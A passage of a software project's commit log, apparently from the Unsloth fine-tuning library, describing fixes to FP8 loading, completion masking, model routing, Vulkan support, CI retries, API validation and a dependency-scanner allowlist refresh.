torch.is_grad_enabled(), so a gradient-checkpointed segment runs the same bmm
math in its no-grad forward and its grad recompute instead of mixing the fused
fp8 kernel with bmm.

Dequantize with the layer's own block_size via _blockwise_weight_dequant_any_shape
so non-128 or rectangular fp8 blocks are scaled correctly instead of assuming
128x128.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-11 19:33:05 -07:00
Daniel Han
9fa6fd40e1
scripts: refresh scan_packages allowlist baseline (#7078)
New releases of huggingface-hub (1.23.0) and openai (2.45.0) shifted or
added polling loops that the C2 polling/beaconing check flags, failing
all three pip scan-packages shards (studio 1, hf-stack 1, extras 3 new
CRITICAL findings) org-wide including on main.

Regenerated with scan_packages.py --write-baseline per CI shard (same
shard-to-requirements mapping and --with-deps as security-audit.yml)
and merged. All entries were manually reviewed at the resolved versions:

- huggingface-hub hf_api.py: create_repo 409-concurrency retry loop
  body changed in 1.23.0; refreshed evidence hash. The loop POSTs to
  the canonical Hub endpoint and retries only on a specific conflict
  error. Benign client retry.
- openai beta/threads/runs/runs.py: create_and_poll run-status helper
  refactored in 2.45.0 (Assistants deprecation annotations); refreshed
  evidence hash. Documented polling helper against api.openai.com.
- openai beta/responses/responses.py: new beta websocket client whose
  __aiter__ yields server events until the connection closes. New
  entry; standard event-stream iterator, not beaconing.
- openai resources/responses/responses.py: evidence line number
  refreshed only, hash unchanged.

The two dropped entries are the pre-refactor hashes of the same two
loops above; they no longer occur at the resolved versions. Verified
locally: all three shards exit 0 with 0 unsuppressed CRITICAL/HIGH
(hf-stack 120, studio 151, extras 99 suppressed).
2026-07-11 08:15:43 -07:00
Daniel Han
6412efd7d9
Studio: auto-detect completion masking markers, stop silent full-sequence training (#7054)
* Auto-detect completion masking markers with template table fallback

Studio's train_on_completions previously relied only on the hardcoded
MODEL_TO_TEMPLATE_MAPPER / TEMPLATE_TO_RESPONSES_MAPPER tables and
silently disabled masking when a model was not in the table, so unmapped
models (LFM2-8B-A1B, DeepSeek, and others) trained on full sequences
without telling the user. Several mapped templates (glm, mistral, llama,
starling, zephyr, qwen3-thinking) also carried markers that mask every
assistant token, which made every row drop in the post-masking filter.

Both training callsites (CUDA trainer.py and MLX worker.py) now share
utils.datasets.completion_masking.apply_completion_masking:

- Try unsloth_zoo chat template auto-detection first; it raises loudly
  when the template cannot be parsed and never masks the EOS token.
- gpt-oss models keep their manual markers so non-final assistant
  <|end|> tokens stay trained, matching current behavior.
- If auto-detection raises, fall back to the template table exactly as
  before.
- If the table also misses, emit an explicit user-visible warning that
  completion masking could not be applied and full-sequence training
  will occur, instead of a quiet log line.

The >30 percent dropped-rows safety net in trainer.py now guards the
auto path as well. Table consumers for inference and chat templates are
unchanged. Validated against one representative tokenizer for every
template in TEMPLATE_TO_RESPONSES_MAPPER plus the unmapped models:
no template regresses; unit tests cover the four decision paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Restrict masking fallback to marker detection failures

The auto branch wrapped the whole train_on_responses_only call, so a real
failure while applying the masking (dataset map, tokenization) was treated
as a detection miss and training silently proceeded on full sequences.
Detect markers separately via get_chat_template_parts (test seam via
detect_fn), then apply them with errors propagating, matching the manual
path. Tokenizers with preset unsloth marker attrs skip detection and call
bare so zoo reuses the stored parts.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fail the run when applying completion masking raises

The helper already falls back internally on detection failures and returns
applied=False on a double miss, so an exception reaching the callsites is a
real failure applying the masking. Remove the callsite catches that
downgraded it to full-sequence training; the run now fails visibly instead.

Also use the explicit re-export alias form in utils/datasets/__init__.py for
the two new names, satisfying the import-hoist source lint.

* Import completion masking from its submodule

The import-hoist source lint counts only real name loads, so package-level
re-exports of the two new names cannot satisfy it. Import
apply_completion_masking from utils.datasets.completion_masking directly at
both callsites and leave utils/datasets/__init__.py untouched.

* Completion masking: gpt-oss renames and MLX raw/alpaca parity

Renamed or private gpt-oss checkpoints are name-detected as gpt-oss but miss
the exact-name table; default them to the gpt-oss template markers instead of
falling through to full-sequence training.

Gate the MLX masking call on not raw_text_mode and format_type != alpaca,
mirroring the CUDA path: raw/CPT text has no chat turns to mask and
Alpaca-rendered text lacks the tokenizer's chat markers.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Define raw_text_mode outside the MLX feature-detect block

With an older zoo lacking the append_eos config field, the masking
gate referenced raw_text_mode before assignment. Hoist the assignment
above the feature detection so both consumers see it.

* Gate MLX masking on the formatter's resolved format

format_type auto can resolve to alpaca or raw text; the masking skip
checked only the requested value, so auto-detected Alpaca data got
chat-template markers applied to rendered prompt text. Track the
final_format returned by format_and_template_dataset and gate on it,
matching the CUDA path.

* Unwrap the mlx-lm TokenizerWrapper before marker checks

The wrapper delegates plain reads to the wrapped HF tokenizer but hides
underscore attrs, so preset unsloth markers were invisible and detection
relied on the loader's call patch. Unwrap to the real tokenizer first,
as the zoo MLX resolver does.

* Tighten masking comments

* gpt-oss: auto-detect markers first like every other template

The quantized and BF16 gpt-oss checkpoints ship a chat template without
the channel final header, so the pinned manual markers match nothing
there and masking trained zero tokens. Auto-detection derives markers
from whichever template the checkpoint ships and keeps the final
terminator trained; the manual gpt-oss markers remain the detection
failure fallback, including for renamed checkpoints.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-11 05:13:45 -07:00
Daniel Han
97161c89d6
Studio: route models by CONFIG_MAPPING_NAMES instead of hardcoded tables (#7043)
* Studio: route models by CONFIG_MAPPING_NAMES instead of hardcoded tables

A model whose model_type is absent from an overlay's transformers cannot load
there, so a new MoE arch not yet in the tier tables gets routed to default and
fails (e.g. lfm2_moe, deepseek_v4). Add a static resolver that parses each
overlay's CONFIG_MAPPING_NAMES straight from source (AST only, no import, no
network, no trust_remote_code) and picks the lowest tier that ships the
model_type. Runs after the existing checks and only ever upgrades default, so
no existing routing changes and new archs no longer need a table edit.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio router: harden the CONFIG_MAPPING_NAMES resolver

- Resolve the default tier map from the base install, skipping any .venv_t5_*
  sidecar on sys.path, so an in-process 5.x activation cannot make a 5.x-only
  model look loadable by 4.x.
- Do not cache an overlay whose sidecar dir is absent, so a later call re-reads
  it once provisioned instead of serving a stale empty map.
- Also collect model types added via CONFIG_MAPPING_NAMES.update({...}) and
  **{...} unpacking, not just the literal assignment (5.10 uses both).
- Wrap the AST walk in the try/except so a malformed source can never crash tier
  resolution.
- Feed the mapping fallback from _load_config_json so a config served from the
  hub cache during a transient outage still routes new architectures.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-11 05:12:37 -07:00
Daniel Han
c3feac6160
Studio: route lfm2_moe (LFM2-8B-A1B) to transformers 5.3.0 (#7040)
LFM2-8B-A1B and any other lfm2_moe checkpoint were missing from the
transformers tier tables, so they fell through to the default 4.57.x
sidecar, which does not register lfm2_moe and errors with
"not supported yet in transformers==4.57.6". Only lfm2_vl was listed.

Add Lfm2MoeForCausalLM / lfm2_moe to the 5.3.0 tier (lfm2_moe is
registered in transformers 5.3.0). get_transformers_tier now returns
530 for LFM2-8B-A1B and the model loads and trains as expected.
2026-07-11 05:08:07 -07:00
oobabooga
d105bd7b42
Studio: detect Windows Intel GPUs via the registry before WMI (#7064) 2026-07-10 17:59:04 -03:00
oobabooga
7bfa209623
Studio: hint at Model auto-switch in the OpenAI "No model loaded" 400 (#7006) 2026-07-10 17:48:27 -03:00
Apoze
fef37cb25b
Studio: queue local GGUF OpenAI-compatible requests before llama-server (#7047)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-10 17:05:48 -03:00
Vineeth Sai
33119c9bf7
fix: guard remove_special_tokens against tokenizers without a BOS token (#7048) 2026-07-10 14:55:11 -03:00
Daniel Han
fbcd3fa511
CI: retry transient HTTP timeouts in Studio smoke probes (#7052)
* CI: retry transient HTTP timeouts in Studio smoke probes

The post() helper in the Studio inference smoke workflows does a single
urlopen with a 240s timeout against the local Studio server. On shared
runners this sporadically hits TimeoutError while the server is stalled,
failing the whole job for a transport hiccup; the same flake has recurred
across unrelated PRs on Linux and Windows (JSON/images and tool-calling
jobs) and passes on rerun.

Retry the probe up to 3 times on transport-level failures only
(TimeoutError, ConnectionError, non-HTTP URLError), 15s apart. HTTP
status errors still surface immediately, so genuine server failures are
unaffected. post_sse() is left unchanged: it has a 600s budget and has
not flaked.

* CI: retry only short probes so worst case fits the job budget

Some json-images calls pass timeout=600; three attempts there could spend
30 minutes in one step and hit the job's timeout-minutes instead of failing
with the Python error. Retry (3 attempts) only when timeout <= 300s, which
covers the observed flaky 180-240s probes; longer probes keep the pre-PR
single attempt.

* CI: give long smoke probes one capped retry

Round two of bounding the retries: timeout>300s probes previously got a
single attempt, so a transient stall in the 600s JSON-mode probes still
failed on first occurrence. Give them one retry with the attempt timeout
capped at 300s. Worst cases stay inside timeout-minutes: 240s probes
12.5 min, one 600s probe 15.25 min, the Windows JSON job's two long
probes 30.5 min against its 35 minute budget.
2026-07-10 03:07:39 -07:00
oobabooga
b0b8aea618
Clarify in README that -H 0.0.0.0 starts a public Cloudflare tunnel (#7007)
* Clarify in README that -H 0.0.0.0 starts a public Cloudflare tunnel

* Hedge tunnel URL wording and restore trusted-network caution

* Tighten the 0.0.0.0 tunnel note

* Drop trust-the-network caution from tunnel note

* Restore trusted-network note on the raw-bind sentence

* Use Cloudflare's quick tunnel terminology and consolidate the trust warning
2026-07-09 17:59:48 -07:00
alkinun
86602a5389
Studio: auto-load last used local model (#6966)
* Studio: auto-load last used local model

* Studio: handle missing GGUF quant in last-used autoload

* Studio: tighten last-used autoload handling

* Fix

* Honor last-used autoload settings

* Skip recording LoRA auto-loads

* Mirror auto-load runtime state

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
2026-07-09 17:21:49 +01:00
Apoze
6a9b77ee37
Studio: harden OpenAI-compatible GGUF streaming (#6950)
---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-09 12:09:08 -03:00
Daniel Han
b5aef63c03
Studio: resolve the repo-root MTP drafter after the MTP/ GGUF rename (#7031)
* Studio: resolve the repo-root MTP drafter after the MTP/ GGUF rename

The Gemma 4 QAT GGUF repos renamed the higher-precision MTP/ subdir
copies from gemma-4-...-<quant>-MTP.gguf to mtp-gemma-4-...-<quant>.gguf,
so their basenames now start with the same mtp- prefix as the small
repo-root drafter (mtp-gemma-4-E4B-it.gguf).

The drafter selectors filtered candidates by a mtp- basename prefix and
took the first in sort order. With the new names the MTP/ copies also
match, and because MTP/ (uppercase) sorts before the lowercase root file,
selection flipped to the large BF16 copy under MTP/ instead of the root
drafter both functions document they should pick.

Restrict both selectors, and the companion byte estimate, to root-level
mtp-*.gguf so the MTP/ copies stay explicit-selection only:
- core/inference/llama_cpp.py _pick_mtp (loader auto-download)
- hub/utils/gguf_plan.py preferred_mtp_sibling (Hub variant plans)
- routes/inference.py _remote_gguf_companion_bytes (VRAM headroom)

Also reuse a drafter already in the local cache before downloading, so a
device that already holds a copy on disk does not re-fetch it.

Old-scheme names keep working (they have no root-level mtp- sibling to
mis-select). Adds regression tests for the new naming, both selection
paths, and the on-disk reuse.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: gate MTP drafter cache reuse to offline mode

Reuse the cached drafter only when HF is offline. Online, route back
through _download_companion_gguf/hf_hub_download so the current revision
is checked (etag) and a changed drafter is refetched, matching the
offline-only cross-snapshot reuse already used for the main GGUF. This
avoids pairing freshly downloaded weights with a stale cached draft.
Make the reuse tests offline and add an online-skips-reuse test.

* Studio: prefer a root MTP drafter across all cached snapshots

Offline reuse scanned snapshots one at a time and returned the first
snapshot that held any drafter, only preferring root within it. A newer
partial snapshot with just the MTP/ copy could shadow the small root
drafter in an older snapshot. Collect drafters across all snapshots and
prefer any repo-root file before an MTP/ copy.

* Studio: keep newest-first snapshot order when reusing cached drafters

Collecting root candidates and sorting by absolute snapshot path could
pick a drafter from an older snapshot. _iter_hf_cache_snapshots yields
newest first and the main GGUF is resolved in that order, so preserve it
(root still preferred over MTP/ copies) to avoid pairing a fresh main
weight with a stale drafter revision.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-09 06:46:00 -07:00
Daniel Han
d4fbc81d3a
Restore dropped FP8 weight_scale_inv tensors on load (#6978)
* Restore dropped FP8 weight_scale_inv tensors on load

Some block-scale FP8 checkpoints (for example Qwen3.6-27B-FP8, issue #6200) load
with transformers leaving an mlp.gate_proj as a plain bf16 Linear instead of an
fp8 module. Its raw quantized values are read into the bf16 weight and the
weight_scale_inv is dropped as an unexpected key, so the weight is used un-scaled
and the base model is garbage (perplexity around 2 million).

After load, for every checkpoint weight_scale_inv whose live weight is not fp8,
dequantize the orphaned weight in place using the block scale from the checkpoint
index. Modules that were converted correctly keep an fp8 weight and are skipped,
so healthy checkpoints and single-file checkpoints are a no-op.

Verified on Qwen3.6-27B-FP8: 64 gate_proj scales restored, perplexity 2028902 to
8.9. No-op on Qwen3-8B-FP8 (all scales already live).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden FP8 weight_scale_inv restore from review

- Skip restore when the model has no fp8 weights, so an intentionally
  dequantized load (load_in_16bit) is never re-scaled and corrupted.
- Thread revision, subfolder and cache_dir through the index and shard
  downloads so scales come from the same snapshot as the weights.
- Cover unsharded single-file model.safetensors checkpoints (no index).
- Handle transposed block-scale layouts and skip on a true grid mismatch
  instead of applying a wrong scale.
- Match text-only VLM loads where the language_model prefix was stripped.
- Restore on the FastLanguageModel text path too, not only vision.
- Handle a scalar weight_block_size; per-tensor error handling so one bad
  tensor cannot abort the rest or hide a partial mutation.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address second review round on FP8 scale restore

- Bound peak memory: dequantize block views in place with the fp32 scale
  broadcast instead of materializing a full expanded scale and fp32 copy,
  so a near-VRAM-limit load is not pushed into OOM by the repair.
- Restore on the sequence-classification load path too.
- Cover more VLM key remappings (language_model.model.* to
  model.language_model.*) when matching modules.
- Skip the restore for variant loads (variant=...) rather than risk
  applying default-checkpoint scales to variant weights.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Align FP8 scale restore revision with the loaded weights and warn on disk-offloaded layers

In llama.py the CausalLM/SequenceClassification weight loads resolve model_name on its
default branch (revision is not forwarded there), so read the dropped weight_scale_inv
tensors from the same default branch instead of the requested revision, avoiding rescaling
default-branch weights with scales from another revision.

In loader_utils.py a disk-offloaded layer keeps its weight on the meta device until the
offload hook materializes it, so the scale cannot be applied in place. Skip such layers
explicitly and print a warning rather than silently leaving them unscaled.

* Tighten comments in the FP8 scale restore path

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-09 06:44:44 -07:00
Daniel Han
fb5dc91bb4
Studio: remove dead direct_linux_release_plan path (#7030)
parse_direct_linux_release_bundle and direct_linux_release_plan are no
longer reached by any live code path. Fork Linux installs resolve through
_fork_manifest_release_plans -> _linux_published_attempts, and the upstream
(ggml-org) path uses direct_upstream_release_plan. The dead parser also
called _resolve_linux_bundle_profile, which no longer exists, so its CUDA
branch would raise NameError if ever executed.

Drop both functions and the obsolete TestDirectLinuxNvidiaCpuGate; its live
equivalent TestLinuxPublishedAttemptsNvidiaCpuGate already covers the
NVIDIA no-silent-CPU behaviour.
2026-07-09 05:09:16 -07:00
Daniel Han
b5dca66cb1
scripts: refresh scan_packages allowlist baseline (#7032)
* scripts: refresh scan_packages allowlist baseline

Regenerate scripts/scan_packages_baseline.json against the current
resolved dependency set so the blocking pip scan-packages gate matches
what the scanner now finds. Refreshes evidence hashes for benign
findings whose code shifted lines (unsloth-zoo mlx loader, gguf/mlx
test /tmp fixtures) and adds two mainstream-library entries that were
newly surfaced (torch inductor codecache base64+subprocess compile
cache, torch testing common_utils socket import). Stale entries whose
matching code changed and no longer triggers are dropped.

All entries remain CRITICAL/HIGH findings manually judged benign;
matched on (package, file, check, evidence_hash).

* ci(security-audit): re-run scan when the allowlist baseline changes

The security-audit pull_request trigger listed the scanners but not
their allowlist baselines, so a baseline-only edit never re-ran the
scan that consumes it. A refreshed baseline could therefore merge
without CI confirming its evidence hashes match what the scanner finds.
Add scan_packages_baseline.json and scan_npm_packages_baseline.json to
the paths filter so baseline changes are validated on their own PR.
2026-07-09 04:52:30 -07:00
Daniel Han
534c877d21
Keep native RoPE scaling when extending context; carry rope_theta for linear (#7028)
* Keep native RoPE scaling when extending context; carry rope_theta for linear

When max_seq_length exceeds a model's native window, the loader overwrote the
model's rope_scaling with linear scaling. For models that already ship a scaled
RoPE (llama3/yarn/longrope) that is far worse for long context, and on
transformers v5 the linear dict omitted rope_theta (v5 keeps it under
rope_parameters), so the rotary base fell back to 10000 and broke past ~8K tokens.

Keep the native scaling and just widen the window; only synthesize linear for
plain-RoPE models, and carry rope_theta so v5 keeps the real base.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Only preserve native llama3 when extending context; keep linear fallback otherwise

The patched attention constructor (patch_llama_rope_scaling) rebuilds only linear,
llama3 and longrope and its longrope branch reads a top-level
original_max_position_embeddings, so preserving yarn or a nested-only longrope config
would raise during construction on transformers <= 4.47.1. Keep only llama3 native;
yarn/longrope/other types fall back to the linear override, still carrying rope_theta.

* Correct long-context extension comment to match llama3-only preservation

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-09 04:20:41 -07:00
Daniel Han
cd9d251f15
Fix fast inference crash on compressed-tensors FP8 models (#7025)
* Fix fast_gemv crash on compressed-tensors FP8 models

Loading a compressed-tensors FP8 checkpoint (for example
unsloth/Llama-3.2-1B-Instruct-FP8-Block) with fast_inference=False and
running a forward crashed with 'Parameter object has no attribute absmax'
inside fast_gemv.

A compressed-tensors CompressedLinear exposes an already dequantized bf16
weight at forward time while keeping a weight_scale Parameter. The quant
state resolution in get_lora_parameters/get_lora_parameters_bias fell back
to that weight_scale, so a bf16 weight was routed into the bitsandbytes
fast_gemv/fast_dequantize path, which expects a bitsandbytes QuantState
with an absmax attribute.

Only fall back to weight_scale_inv/weight_scale when the weight is still
fp8. A decompressed bf16 weight then resolves to no quant state and flows
through the normal bf16 path, which already handles bias and the LoRA
backward. Real fp8 and bitsandbytes 4bit weights are unchanged.

* Skip the fast_gemv dispatch test before importing unsloth when bitsandbytes is absent
2026-07-09 04:10:59 -07:00
alkinun
216a1fad33
Fix Windows installer torch index override (#6972)
* Fix Windows installer torch index override

* Clear inherited uv index env vars for pinned installs in studio/setup.ps1 (#6898)

* Harden setup.ps1 index-var clearing to truly remove vars (#6898)

* Apply UV_DEFAULT_INDEX torch index fix to Linux/Mac install.sh (#6898)

* Neutralize all uv index env vars for pinned torch installs (#6898)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-09 03:46:47 -07:00
oobabooga
3502335120
Studio: add Vulkan llama.cpp support (#5819)
* Studio: add Vulkan llama.cpp support

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address gemini's feedback

* Studio: move the Vulkan VRAM probe into a standalone script

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Improve Vulkan probe error reporting

* Resolve llama-server symlink so Vulkan build is detected

* Drop unreachable Vulkan fallback in GPU free-memory dispatcher

* Skip the Intel GPU probe when NVIDIA or ROCm is present

* Reserve host RAM headroom for Vulkan integrated GPUs

* Add a `UNSLOTH_FORCE_VULKAN` environment variable

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor GGML_VK_VISIBLE_DEVICES, reserve discrete Vulkan VRAM headroom, and clear Intel GPU on --cpu-fallback

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Route Intel and forced-Vulkan hosts to the upstream Vulkan prebuilt, add arm64 Vulkan, keep Vulkan out of RAG auto-detect

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Clear the fork release pin when routing a Vulkan host to the upstream repo

* Gate auto-Vulkan routing on no physical NVIDIA so hidden CUDA devices aren't used

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pin Vulkan launches with --device Vulkan<i> instead of the raw GGML_VK_VISIBLE_DEVICES index space

* Let user --device override the Vulkan pin, and gate direct Vulkan asset picks on no physical NVIDIA

* Update RAG auto-backend test mocks for the _resolve_auto binary and Vulkan probes

* Keep the add_dll_directory handle alive through the Vulkan probe DLL loads

* Revert RAG auto Vulkan guard, guard multi-backend Vulkan detection, and preserve forced Vulkan across updates

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Use getattr for RTLD_GLOBAL in the Vulkan probe CDLL mode

* Skip CUDA/ROCm APU and datacenter GPU tuning on Vulkan builds

On a Vulkan llama.cpp build gpu_indices are ggml compact ordinals, not
CUDA/ROCm physical ids, so _amd_apu_wants_unified_memory and
_apply_datacenter_env were reading the wrong device. On a mixed AMD APU
plus discrete GPU host that could raise a spurious system-RAM shortfall
and block a valid discrete-GPU load. Gate all three call sites on
not is_vulkan_backend; the Vulkan path already reserves iGPU host
headroom and the backend ignores GGML_CUDA_* anyway.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten Vulkan-guard comment in load_model

* Reduce comments in Vulkan support to be more succinct

* Resolve shell-wrapper llama-server entrypoint to the real lib dir

create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install
root when it cannot symlink into build/bin. _find_llama_server_binary
returns that root entrypoint, but Path.resolve() does not follow a shell
wrapper, so _llama_lib_dir returned the install root and _is_vulkan_backend
missed libggml-vulkan.so -- silently skipping the Vulkan probe and --device
pin on an otherwise valid Vulkan install. Follow the wrapper's exec target
to build/bin. Regression test: test_shell_wrapper_entrypoint_resolves_to_real_lib_dir.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-09 03:39:48 -07:00
Daniel Han
eb775d3207
Studio /v1/messages: accept thinking and unknown content blocks (#7017)
* Studio /v1/messages: accept thinking and unknown content blocks

The Anthropic-compatible /v1/messages endpoint modeled a message's content as
Union[str, list[{text|image|tool_use|tool_result}]], so any other block type
made Pydantic reject the whole request with
`messages.N.content.str: Input should be a valid string`. Resuming a Claude
session commonly replays assistant turns that carry `thinking` (extended
thinking) blocks, and sometimes a null content for a tool-only turn, both of
which tripped this and returned a 400.

Accept them:
- Add a permissive AnthropicUnknownBlock fallback (any block whose type is not
  one of the four known ones), so thinking/redacted_thinking/provider-specific/
  future blocks validate. A validator keeps known types on their typed models,
  so a malformed known block (e.g. a tool_use without id) still fails cleanly.
- Coerce a null message (and tool_result) content to "" so the converter's
  `for block in content` stays safe.

The converter already drops block types it does not translate, so a thinking
block is not forwarded to the model.

* Studio /v1/messages: keep user content validation strict

Make the thinking/null leniency role-aware so it never silently drops real
user input. Assistant turns (replayed history) still accept unknown/thinking
blocks and coerce a null tool-only turn to empty. User turns keep the strict
boundary: a null user content is rejected, and a content block the converter
cannot translate is rejected instead of being dropped into an empty prompt.

Also remove an empty file committed by accident.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio /v1/messages: coalesce resumed user turns and tighten content checks

- The /v1/messages count and generation paths now coalesce the adjacent user
  turns that dropping an empty or null assistant turn can leave behind, so a
  strict GGUF chat template no longer 400s on non-alternating roles.
- A user content block with a non-string type (list / dict) is rejected as a
  clean 400 instead of raising TypeError and escaping as a 500.
- The assistant null-to-empty coercion only applies to an explicit null; an
  assistant turn that omits content entirely still fails required-field
  validation instead of being silently coerced to an empty string.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio /v1/messages: tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-09 12:20:02 +02:00
Daniel Han
c1e06e9ddf
unsloth start: add --persist to keep and reopen agent sessions (#7014)
* unsloth start: add --resume to persist and reopen agent sessions

`unsloth start <agent>` launches a coding agent whose home is a throwaway
temp dir wiped on exit, so codex/openclaw/hermes/pi (which relocate their
whole home there) cannot resume a conversation after you quit. opencode and
claude keep their session data in a fixed user dir, so they already resume.

Add an opt-in --resume/--no-resume flag: it routes the launch to the stable
Unsloth agents dir (the same one --no-launch already uses) so the session
survives the exit, never touching the user's own ~/.<agent>. A bare --resume
also reopens the last conversation via the agent's native flag (codex
`resume --last`, opencode/claude/pi `--continue`). The default is unchanged:
a plain launch still uses a temp dir and persists nothing.

Add a dispatch-only `resume` job to the Local Agent Guides CI that drives the
real launch path and asserts the split: codex/pi are wiped without --resume
and persist with it, while opencode/claude persist either way.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* unsloth start: rename --resume to --persist

The session flag collided with agents' own resume flags. `unsloth start
claude --resume <id>` used to forward `--resume <id>` straight to Claude
(which keeps its history in ~/.claude regardless), so a boolean --resume on
unsloth start would have swallowed the session id and turned it into a stray
prompt. Name the persistence flag --persist instead, so every agent's native
resume flag (claude --resume <id>, codex resume, opencode --continue, ...)
still passes through untouched. Behavior is otherwise identical: --persist
keeps a launched agent's session under the Unsloth agents dir, and a bare
--persist reopens the last conversation.

Add a regression test that `--resume <id>` passes through verbatim, and in the
CI resume experiment skip the redundant second pass for opencode/claude (they
persist either way, and a second CPU turn only risks a timeout).

* unsloth start: correct --persist help and drop the buggy auto-resume

Reword the --persist help to be accurate: claude and opencode keep sessions in
the user's own stores and resume regardless, so --persist only stabilizes the
otherwise-ephemeral relocated home of codex/openclaw/hermes/pi. Drop the
bare-launch auto-append of native resume tokens: it errored on a first launch
with no prior session, and was inconsistent between launch and no-launch.
--persist now only keeps the session dir; resume via the agent's own command
(e.g. `unsloth start codex --persist resume`), which now finds it.

In the CI resume experiment, fail the pass when the launched turn exits
non-zero, so a write-then-error is not misread as PERSISTED.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-09 11:47:59 +02:00
Daniel Han
b509d47dd7
Silence torch._check_is_size FutureWarning and shim it if torch removes it (#7023)
* Silence torch._check_is_size FutureWarning and shim it if torch removes it

bitsandbytes 4-bit dequant calls torch._check_is_size, which torch
deprecated with a FutureWarning ("Use _check(i >= 0) instead") that prints
on every bnb-4bit load. Silence that warning in suppress_cuda_printf, and
add fix_torch_check_is_size so a future torch that removes _check_is_size
gets it shimmed to _check(i >= 0) (honoring the max bound) and bitsandbytes
keeps working.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten fix_torch_check_is_size docstring

Lead with what the shim does and drop the redundant line; two lines
instead of three, same intent.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-09 02:26:36 -07:00
Daniel Han
0d4bd50768
Restore process-global torch.compile config on torch 2.12 so gradient checkpointing backward honors it (#7019)
* Mirror dynamo/inductor config sets into defaults so torch 2.12 worker threads honor them

torch 2.12 stores config user overrides in ContextVars, so direct
assignments like torch._dynamo.config.recompile_limit = 1024 no longer
reach the autograd engine worker threads. Gradient checkpointing
recomputes fullgraph-compiled gpt-oss kernels inside backward on those
threads, which then read the default recompile limit of 8 and raise
FailOnRecompileLimitHit at step 0 of GRPO/SFT. Mirror direct config
assignments into the process-global entry defaults on torch >= 2.12,
restoring the torch <= 2.11 cross-thread semantics while leaving the
context-scoped config.patch API untouched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep config.patch thread-local when mirroring dynamo/inductor sets

config.patch(...) also assigns through ConfigModule.__setattr__, so the
default-mirror was leaking its scoped, thread-local writes into the
process-global entry default. Track patch enter/exit with a per-thread
depth counter (wrapping ConfigModule.patch) and skip mirroring while
inside a patch, so only genuine direct assignments restore the torch
2.11 cross-thread semantics and config.patch stays context-local.

* Also keep config.load_config thread-local when mirroring config sets

load_config restores a saved dynamo/inductor config by calling setattr
per key, which the default-mirror would otherwise leak process-wide just
like config.patch did. Wrap load_config with the same per-thread depth
counter (renamed to _scoped_depth) so both scoped writers skip the mirror
and stay context-local, while genuine direct assignments still restore the
